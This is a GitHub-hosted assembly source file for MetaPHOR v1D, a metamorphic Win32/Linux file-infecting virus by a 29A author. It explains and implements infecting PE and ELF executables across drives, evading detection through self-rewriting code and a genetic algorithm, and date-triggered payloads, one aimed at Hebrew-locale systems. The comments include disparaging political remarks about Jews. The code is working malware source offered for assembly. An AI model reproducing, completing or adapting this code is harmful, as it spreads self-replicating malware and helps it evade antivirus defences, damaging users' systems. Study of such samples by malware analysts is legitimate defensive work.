Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
16878 lines (15703 sloc) 724 KB
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; ---------------------------- ;;
;; * Win32/Linux.MetaPHOR v1D * ;;
;; ---------------------------- ;;
;; ;;
;; Metamorphic Permutating High-Obfuscating Reassembler ;;
;; ;;
;; Coded by The Mental Driller/29A ;;
;; ;;
;; ;;
;; This virus is only code. No tables, no indirect jumps, etc. etc. It ;;
;; doesn't uses the stack to construct strings, executable code or data: ;;
;; what I do is a reservation of 3'5 Mb of data (more or less) with ;;
;; VirtualAlloc/malloc and then use the decryptor to copy the decrypted ;;
;; virus there (or unencrypted, since it has a probability of 1/16 of being ;;
;; unencrypted, so the decryptor in that cases is in fact a copy routine). ;;
;; The reserved memory is organized in sections (as if it were a PE) where I ;;
;; do all the operations. ;;
;; ;;
;; Undex Linux: ;;
;; If malloc() nor exit() is imported by the executable, then it's not ;;
;; infected. If it has this two functions imported, then malloc is used in ;;
;; the decryptor ;;
;; ;;
;; Under Win32: ;;
;; VirtualAlloc will be retrieved by the decryptor if it's not imported by ;;
;; the host, and the host must import GetModuleHandleA/W or LoadLibraryA/W ;;
;; and GetProcAddress to be infected. This functions will be used by the ;;
;; virus to get the needed APIs. ;;
;; ;;
;; ;;
;; The type of metamorphism followed is what I call the "accordion model": ;;
;; disassembly/depermutation -> shrinking -> permutation -> expansion -> ;;
;; -> reassembly, so the code can be bigger or smaller than the previous ;;
;; generation. ;;
;; ;;
;; The metamorphism in this virus is complete: even the result of the ;;
;; shrinking can't be used for detection, because is different in every ;;
;; generation. That's the point where I introduce a new concept: dimensions ;;
;; in recoding (I mean, code that only get shrinked on two or more ;;
;; generations, but not in the immediate following; this would be the ;;
;; "third" dimension). This makes the disassembly to have always a different ;;
;; shape from generation to generation, but, when stabilized, never growing ;;
;; uncontrolablely. ;;
;; ;;
;; I have added a genetic algorithm in certain parts of the code to make it ;;
;; evolve to the best shape (the one that evades more detections, the action ;;
;; more stealthy, etc. etc.). It's a simple algorithm based on weights, so ;;
;; don't expect artificial intelligence :) (well, maybe in the future :P). ;;
;; ;;
;; I tried to comment the code as cleanly as possible, but well... :) ;;
;; ;;
;; If the code isn't optimized (in fact, it's NOT optimized), it's because: ;;
;; ;;
;; 1) It's more clear to see the code that the internal engine will deal ;;
;; with (for example, many times I use SUB ECX,1 instead of DEC ECX, ;;
;; although the disassembler can deal with both opcodes). ;;
;; 2) What's the point for optimizing the code when in next generation it ;;
;; will be completely unoptimized/garbled? :) ;;
;; 3) The obfuscation in next generations is bigger (MUCH bigger). ;;
;; ;;
;; ;;
;; General sheet of characteristics: ;;
;; ;;
;; Name of the virus.............: MetaPHOR v1D ;;
;; Author........................: The Mental Driller / 29A (when I made ;;
;; it, now ex-29A, ;;
;; for the moment) ;;
;; Size..........................: On 1st generation: aprox. 39450 bytes ;;
;; On next ones: variable, but not less ;;
;; than 80 Kb ;;
;; Targets.......................: Win32 PE EXEs, supporting three types ;;
;; of infection: mid-infection (when ;;
;; .reloc is present), at last section ;;
;; but using the padding space between ;;
;; sections to store the decrytor/mover, ;;
;; or all at last section. ;;
;; Linux ELFs, adding a new section in ;;
;; the data segment. ;;
;; It infects PEs/ELFs with a 50% of prob.;;
;; in current directory and going up the ;;
;; directory tree by three levels. It ;;
;; also retrieves the drive strings on ;;
;; the system and makes the same if they ;;
;; are fixed or network drives (on Win32) ;;
;; or it retrieves the mounted units and ;;
;; infects there. ;;
;; It uses EPO patching ExitProcess/_exit ;;
;; on Win32 and exit() on Linux. ;;
;; Stealth action................: It doesn't enter in directories that ;;
;; begin with 'W' (avoiding the windows ;;
;; directory) and doesn't infect files ;;
;; with a 'V' in the name or beginning ;;
;; with the letters 'PA', 'F-', 'SC', ;;
;; 'DR' or 'NO'. ;;
;; Genetic algorithm in the selection of ;;
;; the infection methods, the creation of ;;
;; of the decryptor and some more things ;;
;; to make it more resistant or more ;;
;; difficult to detect due to "evolution".;;
;; Encrypted.....................: Sometimes not. ;;
;; Polymorphic...................: Yes ;;
;; Metamorphic...................: Yes ;;
;; Payloads......................: For Win32: ;;
;; 1) A message box on 17h March and ;;
;; September with a metamorphic message ;;
;; :). ;;
;; 2) On 14h May and on hebrew systems it ;;
;; displays a messagebox with the text: ;;
;; "Free Palestine!" ;;
;; For Linux: ;;
;; Exactly the same payload but writing ;;
;; the strings to stdout. ;;
;; Anti-debugging................: Implicit ;;
;; Release history...............: ;;
;; v1A: 11-02-2002 (I just finished commenting the source code ;;
;; and correcting the bugs I found doing that). ;;
;; v1B: 14-02-2002 ;;
;; v1C: 06-05-2002 (just three weeks after I seriously began ;;
;; with Linux). ;;
;; v1D: 26-07-2004 Just to to correct a pair of bugs and add some ;;
;; comments. Detection now is a lot harder due to ;;
;; the correction of these bugs. ;;
;; ;;
;; ;;
;; To do in next versions: ;;
;; ;;
;; 1) Reassembly for different processors: IA64, Alpha, PowerPC, etc. I only ;;
;; have to code a new disassembler/reassembler, since for every internal ;;
;; operation I use a self-defined pseudo-assembler with its own opcodes. ;;
;; 2) Plug-in injector ;;
;; 3) More things (of course!! :). ;;
;; ;;
;; Thanks to: ;;
;; - 29A, members and ex-members ;;
;; - Old coders that made serious shit, and the others that discovered it. ;;
;; - Musicians that make my life easier. ;;
;; ;;
;; In this period of life I have (re)discovered dark music and extreme metal,;;
;; maybe when I was supposed to need some happier music, but what the heck! ;;
;; This time musical dedications go to Cradle of Filth and Dimmu Borgir. ;;
;; ;;
;; ;;
;; To assemble: ;;
;; TASM32 /m29A /ml MetaPHOR.asm ;;
;; TLINK32 -Tpe -aa -x MetaPHOR.obj,,,kernel32.lib ;;
;; ;;
;; No need of PEWRSEC! ;;
;; ;;
;; ;;
;; Quick reference (keyword search): ;;
;; ;;
;; Variable declaration........................: Key_!VarDeclr ;;
;; Beginning of virus..........................: Key_!VirusStart ;;
;; Disassembler................................: Key_!Disassembler ;;
;; Shrinker....................................: Key_!Shrinker ;;
;; Variable identificator......................: Key_!VarIdent ;;
;; Permutator..................................: Key_!Permutator ;;
;; Expander....................................: Key_!Xpander ;;
;; Reassembler.................................: Key_!Assembler ;;
;; Infection code..............................: Key_!Infector ;;
;; Decryptor maker.............................: Key_!MakePoly ;;
;; ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.386p
.model flat
locals
.code
ret ; All code in DATA section. TASM allow this and we
.data ; don't need to activate the write flag after assembling
; the code.
AddressToFree dd 0
extrn ExitProcess:PROC
extrn VirtualAlloc:PROC
extrn VirtualFree:PROC
extrn GetModuleHandleA:PROC
extrn GetProcAddress:PROC
extrn MessageBoxA:PROC ; First generation imports
;; This code (PreMain) only exists at first generation.
;; PreMain is a loader of the virus in the same way an infected host will
;; load it.
PreMain proc
push 4
push 1000h
push 340000h ; Reserve 340000h bytes (~ 3.4Mb)
push 0
call VirtualAlloc
or eax, eax
jz @@Error
mov ebp, eax ; Set delta of reserved memory
mov [AddressToFree], eax
mov ebx, eax
mov esi, offset Main
mov edi, eax
mov ecx, offset EndOfCode
sub ecx, offset Main
rep movsb ; Copy virus
push __DISASM2_SECTION
push __DATA_SECTION
push __BUFFERS_SECTION
push __DISASM_SECTION
push __CODE_SECTION ; Push section addresses
mov eax, offset GetProcAddress
mov eax, [eax+2]
push eax ; Push needed APIs
mov eax, offset GetModuleHandleA
mov eax, [eax+2]
push eax
push 5*2 ; Bit 0=0: 'A', 1:'W' for GetModuleHandle
call ebx ; Call MetaPHOR!
push 0C000h
push 0
push dword ptr [AddressToFree]
call VirtualFree ; This isn't needed at all, since where
; our process is destroyed all the virtual memory
; allocated by it is deallocated automatically.
@@Error:
push 0
call ExitProcess
PreMain endp
;; Now we are executing in the reserved memory
;;
;; ATTENTION: LEAs loading offsets of variables are problematic (due to the
;; variable identificator) so, in the cases like string constructors and
;; getting info from FindFirst and FindNext the operations will be performed
;; directly into memory sections, to avoid them getting marked as variables.
;; In the entrance, the polymorphic loader/decryptor must pass the next data:
;;; DeltaReg --> Initialized (in this case, EBP)
;;;
;;; In reverse-push order (C-like):
;;; * (Number of register used for Delta SHL 1) AND (A/W flag for
;; GetModuleHandleA/W)
;;; * Address to GetModuleHandle in import table
;;; * Address to GetProcAddress in import table
;;; * Offset of CODE_SECTION
;;; * Offset of DISASM_SECTION
;;; * Offset of BUFFERS_SECTION
;;; * Offset of DATA_SECTION
;;; * Offset of DISASM2_SECTION
;;;
;;; All data passed is local to the engine, I mean, it can be modified (and
;;; in fact it will be modified) during the reassembly. In this way we don't
;;; have even the variables in a fixed delta location, although even keeping
;;; fixed section offsets the variables are relocated.
;;
;;
;; KEYWORD: Key_!VirusStart
Main proc
; EBP = Delta offset
pop ebx ; Return address
pop eax
mov ecx, eax
mov edx, eax
and eax, 1
mov [ebp+FlagAorW], eax ; Get if GetModuleHandle is A or W
and ecx, 0000000Eh
shr ecx, 1
mov [ebp+DeltaRegister], ecx ; Get the delta register nr.
and edx, 100h
shr edx, 8
mov [ebp+OperatingSystem], edx ; 0 = Win32, 1 = Linux
or edx, edx
jnz @@NoWin32APIs
pop eax
mov eax, [eax]
mov [ebp+RVA_GetModuleHandle], eax
pop eax
mov eax, [eax]
mov [ebp+RVA_GetProcAddress], eax
@@NoWin32APIs:
pop eax
and eax, 03FFFFFh ; Eliminate the two highest bits
mov [ebp+_CODE_SECTION], eax
pop eax
and eax, 03FFFFFh ; "
mov [ebp+_DISASM_SECTION], eax
pop eax
and eax, 03FFFFFh ; "
mov [ebp+_BUFFERS_SECTION], eax
mov [ebp+_LABEL_SECTION], eax ; Construct the other
add eax, 10000h ; section addresses
mov [ebp+_VARIABLE_SECTION], eax
add eax, 10000h
mov [ebp+_BUFFER1_SECTION], eax
add eax, 10000h
mov [ebp+_BUFFER2_SECTION], eax
add eax, 10000h
mov [ebp+_VAR_MARKS_SECTION], eax
pop eax
and eax, 03FFFFFh
mov [ebp+_DATA_SECTION], eax
pop eax
and eax, 03FFFFFh
mov [ebp+_DISASM2_SECTION], eax
push ebx ; Restore return value
mov eax, [ebp+_DISASM2_SECTION]
add eax, ebp
mov [ebp+OtherBuffers], eax
mov eax, '!'
call DebugOutput
mov eax, [ebp+OperatingSystem] ; Fork the process to return
or eax, eax ; to the command line and
jz @@Continue_DontFork ; continue in the background
mov eax, 2
push eax
xor eax, eax
push eax
push eax
xor eax, eax
push eax
call Linux_Syscall
mov eax, [ebp+ReturnValue]
or eax, eax
jnz @@Error
@@Continue_DontFork:
;; Let's set the weights for the genetic algorithm. These are code structures
;; recognized by the shrinker.
;; The initial values of the weights are not arbitrary: they are the initial
;; values that simulate the random behaviour that was before the addition of
;; this type of algorithm.
;; These code structures are shrinked as
;; SET_WEIGHT [ebp+Weight_X000_3],0,EAX,ECX
;; SET_WEIGHT [ebp+Weight_X004_7],1,EAX,ECX
;; and so on.
push eax
mov eax, 0
mov ecx, 10808080h ; Weights 3,2,1 and 0
mov [ebp+Weight_X000_3], ecx
pop eax
push eax
mov eax, 1
mov ecx, 10808010h ; Weights 7,6,5,4
mov [ebp+Weight_X004_7], ecx
pop eax
push eax
mov eax, 2
mov ecx, 80808055h ; Weights 11,10,9,8
mov [ebp+Weight_X008_11], ecx
pop eax
push eax
mov eax, 3
mov ecx, 80408080h ; Weights 15,14,13,12
mov [ebp+Weight_X012_15], ecx
pop eax
push eax
mov eax, 4
mov ecx, 55404040h ; Weights 19,18,17,16
mov [ebp+Weight_X016_19], ecx
pop eax
push eax
mov eax, 5
mov ecx, 0F0808080h ; Weights 23,22,21,20
mov [ebp+Weight_X020_23], ecx
pop eax
push eax
mov eax, 6
mov ecx, 80558080h ; Weights 27,26,25,24
mov [ebp+Weight_X024_27], ecx
pop eax
mov eax, [ebp+OperatingSystem] ; If Linux, use syscalls
or eax, eax
jnz @@DontRetrieveAPIs
;; Let's get the addresses of the APIs that we are going to use:
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, 'nrek'
mov [edx], eax
mov eax, '23le'
mov [edx+4], eax
mov eax, 'lld.'
mov [edx+8], eax
xor eax, eax
mov [edx+0Ch], eax ; Get the address of KERNEL32.DLL
call APICall_GetModuleHandle
pop edx
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue]
or eax, eax ; Get the handle. If 0, we exit
jz @@Error
mov [ebp+hKernel], eax
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, 'resu'
mov [edx], eax
mov eax, 'd.23'
mov [edx+4], eax
mov eax, 'll'
mov [edx+8], eax ; Get the address of USER32.DLL
call APICall_GetModuleHandle
pop edx
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue] ; It doesn't matter if we
mov [ebp+hUser32], eax ; failed: it's used only to
; get MessageBoxA for the
; payload
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
mov edi, [ebp+hKernel] ; Place to construct the addresses
; names
mov eax, 'aerC'
mov [edx], eax
mov eax, 'iFet'
mov [edx+4], eax
mov eax, 'Ael'
mov [edx+8], eax
call GetFunction ; Get CreateFileA
or eax, eax
jz @@Error
mov [ebp+RVA_CreateFileA], eax
mov eax, 'ppaM'
mov [edx+0Ah], eax
mov eax, 'Agni'
mov [edx+0Eh], eax
xor eax, eax
mov [edx+12h], eax
call GetFunction ; Get CreateFileMappingA
or eax, eax
jz @@Error
mov [ebp+RVA_CreateFileMappingA], eax
add edx, 2
mov eax, 'VpaM'
mov [edx], eax
mov eax, 'Owei'
mov [edx+4], eax
mov eax, 'liFf'
mov [edx+8], eax
mov eax, 'e'
mov [edx+0Ch], eax
call GetFunction ; Get MapViewOfFile
or eax, eax
jz @@Error
mov [ebp+RVA_MapViewOfFile], eax
sub edx, 2
mov eax, 'amnU'
mov [edx], eax
call GetFunction ; Get UnmapViewOfFile
or eax, eax
jz @@Error
mov [ebp+RVA_UnmapViewOfFile], eax
mov eax, 'SteG'
mov [edx], eax
mov eax, 'etsy'
mov [edx+4], eax
mov eax, 'miTm'
mov [edx+8], eax
mov eax, 'e'
mov [edx+0Ch], eax
call GetFunction ; Get GetSystemTime
or eax, eax
jz @@Error
mov [ebp+RVA_GetSystemTime], eax
mov eax, 'virD'
mov [edx+3], eax
mov eax, 'pyTe'
mov [edx+7], eax
mov eax, 'Ae'
mov [edx+0Bh], eax
call GetFunction ; Get GetDriveTypeA
or eax, eax
jz @@Error
mov [ebp+RVA_GetDriveTypeA], eax
mov eax, 'igoL'
mov [edx+3], eax
mov eax, 'Dlac'
mov [edx+7], eax
mov eax, 'evir'
mov [edx+0Bh], eax
mov eax, 'irtS'
mov [edx+0Fh], eax
mov eax, 'Asgn'
mov [edx+13h], eax
xor eax, eax
mov [edx+17h], eax
call GetFunction ; Get GetLogicalDriveStringsA
or eax, eax
jz @@Error
mov [ebp+RVA_GetLogicalDriveStringsA], eax
mov eax, 'tsyS'
mov [edx+3], eax
mov eax, 'eDme'
mov [edx+7], eax
mov eax, 'luaf'
mov [edx+0Bh], eax
mov eax, 'ICLt'
mov [edx+0Fh], eax
mov eax, 'D'
mov [edx+13h], eax
call GetFunction ; Get GetSystemDefaultLCID
or eax, eax
jz @@Error
mov [ebp+RVA_GetSystemDefaultLCID], eax
mov eax, 'CteS'
mov [edx], eax
mov eax, 'erru'
mov [edx+4], eax
mov eax, 'iDtn'
mov [edx+8], eax
mov eax, 'tcer'
mov [edx+0Ch], eax
mov eax, 'Ayro'
mov [edx+10h], eax
xor eax, eax
mov [edx+14h], eax
call GetFunction ; Get SetCurrentDirectoryA
or eax, eax
jz @@Error
mov [ebp+RVA_SetCurrentDirectoryA], eax
mov eax, 'FteG'
mov [edx], eax
mov eax, 'Seli'
mov [edx+4], eax
mov eax, 'ezi'
mov [edx+8], eax
call GetFunction ; Get GetFileSize
or eax, eax
jz @@Error
mov [ebp+RVA_GetFileSize], eax
mov eax, 'rttA'
mov [edx+7], eax
mov eax, 'tubi'
mov [edx+0Bh], eax
mov eax, 'Ase'
mov [edx+0Fh], eax
call GetFunction ; Get GetFileAttributesA
or eax, eax
jz @@Error
mov [ebp+RVA_GetFileAttributesA], eax
mov eax, 'FteS'
mov [edx], eax
call GetFunction ; Get SetFileAttributesA
or eax, eax
jz @@Error
mov [ebp+RVA_SetFileAttributesA], eax
mov eax, 'nioP'
mov [edx+7], eax
mov eax, 'ret'
mov [edx+0Bh], eax
call GetFunction ; Get SetFilePointer
or eax, eax
jz @@Error
mov [ebp+RVA_SetFilePointer], eax
mov eax, 'emiT'
mov [edx+7], eax
xor eax, eax
mov [edx+0Bh], eax
call GetFunction ; Get SetFileTime
or eax, eax
jz @@Error
mov [ebp+RVA_SetFileTime], eax
mov eax, 'OdnE'
mov [edx+3], eax
mov eax, 'liFf'
mov [edx+7], eax
mov eax, 'e'
mov [edx+0Bh], eax
call GetFunction ; Get SetEndOfFile
or eax, eax
jz @@Error
mov [ebp+RVA_SetEndOfFile], eax
mov eax, 'dniF'
mov [edx], eax
mov eax, 'sriF'
mov [edx+4], eax
mov eax, 'liFt'
mov [edx+8], eax
mov eax, 'Ae'
mov [edx+0Ch], eax
call GetFunction ; Get FindFirstFileA
or eax, eax
jz @@Error
mov [ebp+RVA_FindFirstFileA], eax
mov eax, 'txeN'
mov [edx+4], eax
mov eax, 'eliF'
mov [edx+8], eax
mov eax, 'A'
mov [edx+0Ch], eax
call GetFunction ; Get FindNextFileA
or eax, eax
jz @@Error
mov [ebp+RVA_FindNextFileA], eax
mov eax, 'solC'
mov [edx+4], eax
mov eax, 'e'
mov [edx+8], eax
call GetFunction ; Get FindClose
or eax, eax
jz @@Error
mov [ebp+RVA_FindClose], eax
add edx, 4
mov eax, 'dnaH'
mov [edx+5], eax
mov eax, 'el'
mov [edx+9], eax
call GetFunction ; Get CloseHandle
or eax, eax
jz @@Error
mov [ebp+RVA_CloseHandle], eax
sub edx, 4
mov edi, [ebp+hUser32] ; Maybe NULL, but it's allowed by
mov eax, 'sseM' ; GetProcAddress
mov [edx], eax
mov eax, 'Bega'
mov [edx+4], eax
mov eax, 'Axo'
mov [edx+8], eax
call GetFunction ; Get MessageBoxA (from User32.DLL)
mov [ebp+RVA_MessageBoxA], eax ; 0 if not found or library
; not loaded
@@DontRetrieveAPIs:
;; Let's initialize the random seed
mov eax, [ebp+OperatingSystem]
or eax, eax
jz @@W32_GetSystemTime
mov eax, 0Dh ; Get the time of the system (Linux)
push eax
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp
push eax
xor eax, eax
push eax
push eax
call Linux_Syscall
mov eax, [ebp+ReturnValue]
mov [ebp+RndSeed1], eax
mov eax, [ebp+_CODE_SECTION] ; Mix it with the first bytes
add eax, ebp ; of this mutation
mov eax, [eax+5]
mov [ebp+RndSeed2], eax
jmp @@GarbleRandomSeeds
@@W32_GetSystemTime:
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp
push eax
call dword ptr [ebp+RVA_GetSystemTime]
pop edx
pop ecx
pop eax ; APICALL_END
mov ebx, [ebp+_BUFFER1_SECTION]
add ebx, ebp
mov eax, [ebx+04h]
add eax, [ebx+0Ch]
mov [ebp+RndSeed1], eax
add eax, [ebx+08h]
mov [ebp+RndSeed2], eax
@@GarbleRandomSeeds:
call Random
call Random ; Garble it a little
;; Now let's make some mixtures in the weights. Since the weights are
;; going to be hardcoded on the virus code before its use, we make here
;; some "garblement" to force the evolution of the infection methods. With
;; this, only the most powerful features will "survive".
xor ecx, ecx
@@LoopGarbleWeights:
push ecx
and ecx, 3
mov eax, ecx
call RandomBoolean_X000_3
mov eax, ecx
call RandomBoolean_X004_7
mov eax, ecx
call RandomBoolean_X008_11
mov eax, ecx
call RandomBoolean_X012_15
mov eax, ecx
call RandomBoolean_X016_19
mov eax, ecx
call RandomBoolean_X020_23
mov eax, ecx
call RandomBoolean_X024_27
pop ecx
add ecx, 1
cmp ecx, 40h
jnz @@LoopGarbleWeights
;; Payload
;;---------
;; Simple, silly MessageBox with a metamorphic message :)
;; The message is "MetaPHOR v1 by The Mental Driller/29A" but selecting
;; randomly the case of all letters.
mov eax, [ebp+OperatingSystem]
or eax, eax
jz @@TryWin32Payload
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
mov eax, [edx]
xor esi, esi
mov ecx, 2
mov ebx, 3C93DC80h ; Seconds time-stamp for 17/03/2002
@@LoopCheckDay_1:
cmp eax, ebx
jb @@CheckPayload2
add ebx, 15180h
cmp eax, ebx
jb @@MakePayload
add ebx, 0F29400h - 15180h ; Add the "distance" in seconds
cmp eax, ebx ; from 17/03 to 17/09
jb @@CheckPayload2
add ebx, 15180h
cmp eax, ebx
jb @@MakePayload
add ebx, 0EE9F80h - 15180h ; Add to get the next year
add ecx, 1
and ecx, 3
or ecx, ecx
jnz @@DontAddFeb29th_1
add ebx, 15180h
@@DontAddFeb29th_1:
inc esi
cmp esi, 20h
jbe @@LoopCheckDay_1
jmp @@CheckPayload2
@@TryWin32Payload:
mov eax, [ebp+RVA_MessageBoxA]
or eax, eax
jz @@NoPayload ; If we couldn't retrieve MessageBoxA,
; skip the payload
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
mov eax, [edx+2]
and eax, 0FFh
cmp eax, 3 ; Month: March, June, September or
jz @@Payload_Month ; December
;cmp eax, 6
;jz @@Payload_Month
cmp eax, 9
; jz @@Payload_Month
;cmp eax, 0Ch
jnz @@CheckPayload2
@@Payload_Month:
mov eax, [edx+6]
and eax, 0FFh
cmp eax, 11h ; Day: 17
jnz @@CheckPayload2
@@MakePayload:
mov ecx, edx
push edx
call Random
and eax, 20202020h ;; All the phrase is:
add eax, 'ATEM' ;; "META"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'ROHP' ;; "PHOR"
mov [edx], eax
add edx, 4
call Random
and eax, 00200000h
add eax, ' D1 ' ;; " 1D "
mov [edx], eax
add edx, 4
call Random
and eax, 20002020h
add eax, 'T YB' ;; "BY T"
mov [edx], eax
add edx, 4
call Random
and eax, 20002020h
add eax, 'M EH' ;; "HE M"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'ATNE' ;; "ENTA"
mov [edx], eax
add edx, 4
call Random
and eax, 20200020h
add eax, 'RD L' ;; "L DR"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'ELLI' ;; "ILLE"
mov [edx], eax
add edx, 4
call Random
and eax, 00000020h
add eax, '92/R' ;; "R/29"
mov [edx], eax
add edx, 4
call Random
and eax, 0FFFF0020h
add eax, 'A' ;; "A"
mov [edx], eax
sub edx, ecx
mov ecx, edx
pop edx
mov eax, [ebp+OperatingSystem]
or eax, eax
jz @@MakeMessageBox
add ecx, 2 ; Add an intro under Linux
mov eax, 0Ah
add edx, ecx
mov [edx-1], eax
sub edx, ecx
mov eax, 4
push eax
mov eax, 1
push eax
push edx
xor eax, eax
push ecx
call Linux_Syscall ; Write it to stdout
jmp @@EndPayload
@@MakeMessageBox:
; "METAPHOR 1D BY THE MENTAL DRILLER/29A"
push eax ; with random upcases and lowcases.
push ecx
push edx ; APICALL_BEGIN
xor eax, eax
push eax
mov eax, edx
push eax
push eax
xor eax, eax
push eax
call dword ptr [ebp+RVA_MessageBoxA]
pop edx
pop ecx
pop eax
jmp @@EndPayload
; Not so-silly 2nd part of the payload.
; We get the system language and, if it's hebrew, we show a message box with
; the message "Free Palestine!", my little contribution against the illegal
; occupation performed by the jews and supported by the USA. The message will
; show on 14 May, the day that the state of Israel was self-declarated.
; Notice that I'm not supporting organizations like Hamas or shit like that,
; but it's true that jews began the war stealing the Palestinian home to
; the Palestinian People. Anyway, killing people is not the solution
; (wherever the side of the conflict they are in).
@@CheckPayload2:
mov eax, [ebp+OperatingSystem]
or eax, eax
jz @@TryWin32Payload_2
mov eax, [edx]
mov [ebp+Linux_SecondsCount], eax ; Save seconds
mov eax, 'orp/' ; Open the environment variables for
mov [edx], eax ; this process
mov eax, 'es/c'
mov [edx+4], eax
mov eax, 'e/fl'
mov [edx+8], eax
mov eax, 'rivn'
mov [edx+0Ch], eax
mov eax, 'no'
mov [edx+10h], eax
mov eax, 5
push eax
push edx
xor eax, eax
push eax
push eax
call Linux_Syscall ; Open /proc/self/environ
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@NoPayload
cmp eax, 0FFFFF000h
jae @@NoPayload
mov [ebp+hFile], eax
mov ebx, eax
mov eax, 3 ; Read the file
push eax
push ebx
mov eax, edx
push eax
mov eax, 1000h
push eax
call Linux_Syscall
mov eax, [ebp+ReturnValue]
push eax
mov eax, 6 ; Close the file descriptor
push eax
mov eax, [ebp+hFile]
push eax
xor eax, eax
push eax
push eax
call Linux_Syscall
pop eax
cmp eax, 8
jbe @@NoPayload
cmp eax, 3FF8h ; If too big, exit from payload rout.
jae @@NoPayload
;; We get the Linux locale
mov esi, [ebp+_BUFFER1_SECTION]
add esi, ebp
mov edx, esi
sub eax, 8
; EAX = Count
@@LoopSearchLANG:
mov ecx, [esi]
and ecx, 0DFDFDFDFh ; Search the language variable
cmp ecx, 'GNAL' AND 0DFDFDFDFh
jz @@MaybeLANGFound
@@SearchLANGNext:
add esi, 1
sub eax, 1
or eax, eax
jnz @@LoopSearchLANG
jmp @@NoPayload
@@MaybeLANGFound:
mov ecx, [esi+4]
and ecx, 0FFh
cmp ecx, '='
jnz @@SearchLANGNext
mov ecx, [esi+5]
and ecx, 0000DFDFh ; Hebrew?
cmp ecx, 'EH' AND 0000DFDFh
jnz @@SearchLANGNext
mov eax, [ebp+Linux_SecondsCount]
;mov edx, [ebp+_BUFFER1_SECTION]
;add edx, ebp
xor esi, esi
mov ecx, 2
mov ebx, 3CE05380h ; Seconds for 14 May 2002
@@LoopCheckDay:
cmp eax, ebx
jb @@NoPayload
add ebx, 15180h ; Add a day
cmp eax, ebx
jb @@MakePayload2
add ebx, 1E13380h - 15180h ; Get the next year
add ecx, 1
and ecx, 3
or ecx, ecx
jnz @@DontAddFeb29th ; Add a day if year is multiple of 4
add ebx, 15180h
@@DontAddFeb29th:
inc esi
cmp esi, 20h ; Up to 32 years (!) (can I expect a sooo
jbe @@LoopCheckDay ; long life for this virus? :)
jmp @@NoPayload
@@TryWin32Payload_2:
mov eax, [edx+2]
and eax, 0FFh
cmp eax, 5 ; May
jnz @@NoPayload
mov eax, [edx+6]
and eax, 0FFh
cmp eax, 0Eh ; 14th
jnz @@NoPayload
push eax
push ecx
push edx
call dword ptr [ebp+RVA_GetSystemDefaultLCID]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
and eax, 0FFFFh
cmp eax, 040Dh ; System language: hebrew?
jnz @@NoPayload
@@MakePayload2:
push edx
mov eax, 'eerF'
mov [edx], eax
add edx, 4
mov eax, 'laP '
mov [edx], eax
add edx, 4
mov eax, 'itse'
mov [edx], eax
add edx, 4
mov eax, '!en' ; Show our disconformity with jewish
mov [edx], eax ; invasion of Palestine and all their
pop edx ; fascist acting up to date (in a
; peaceful way)
mov eax, [ebp+OperatingSystem]
or eax, eax
jz @@Payload2_Win32
add edx, 0Fh
mov eax, 0Ah
mov [edx], eax
sub edx, 0Fh
mov eax, 4
push eax
mov eax, 1
push eax
push edx
mov eax, 10h ; Write the string to stdout
push eax
call Linux_Syscall
jmp @@EndPayload
@@Payload2_Win32:
push eax
push ecx
push edx
xor eax, eax
push eax
mov eax, edx
push eax
push eax
xor eax, eax
push eax
call dword ptr [ebp+RVA_MessageBoxA]
pop edx
pop ecx
pop eax
@@EndPayload:
@@NoPayload:
;; Now we are going to get random frames for variables, dissasembly, etc. for
;; the next generation usage. These variables must be passed "from the
;; outside" (as parameters from the loader/decryptor).
;;
;; Sizes of frames:
;; CODE_SECTION = 80000h
;; DISASM_SECTION = 100000h
;; LABEL_SECTION = 10000h +
;; VARIABLE_SECTION = 10000h +
;; BUFFER1_SECTION = 10000h +
;; BUFFER2_SECTION = 10000h +
;; VAR_MARKS_SECTION = 20000h =
;; BUFFERS_SECTION = 60000h
;; DATA_SECTION = 20000h
;; DISASM2_SECTION = 100000h
;; -----------
;; 300000h
;; We always reserve 3'4 Mb of virtual memory at least, so we can add a random
;; shifting up to 256 Kb (40000h bytes)
mov esi, [ebp+_DISASM_SECTION]
add esi, ebp
xor eax, eax ; Let's fabricate a random permutation of
push esi ; the sequence 0,1,2,3,4,5.
@@LoopGarbleSect_01:
mov ebx, eax
add eax, 1
mov ecx, eax
add eax, 1
mov edx, eax
add eax, 1
push eax
call Xp_GarbleRegisters ; Garble EBX, ECX and EDX
pop eax
mov [esi], ebx
mov [esi+4], ecx
mov [esi+8], edx ; Store the garbled sequence
add esi, 0Ch
cmp eax, 6
jnz @@LoopGarbleSect_01 ; Repeat it again (get 4,5,6)
pop esi
push esi
mov ecx, 2 ; Now garble the <0,1,2> with the <3,4,5>
@@LoopGarbleSect_02:
push ecx
mov ebx, [esi] ; Get value at position 0,2,4 and
mov ecx, [esi+08h] ; garble it
mov edx, [esi+10h]
call Xp_GarbleRegisters
mov [esi], ebx
mov [esi+08h], ecx
mov [esi+10h], edx ; Store the shuffling
pop ecx
add esi, 4
sub ecx, 1
or ecx, ecx
jnz @@LoopGarbleSect_02 ; Make it with positions 1,3,5
pop esi
mov ecx, 6
xor edx, edx ; Initialize adder
@@LoopGarbleSect_03:
call Random
and eax, 7FFFh ; *5 = 40000h ; Add a random shifting
add edx, eax
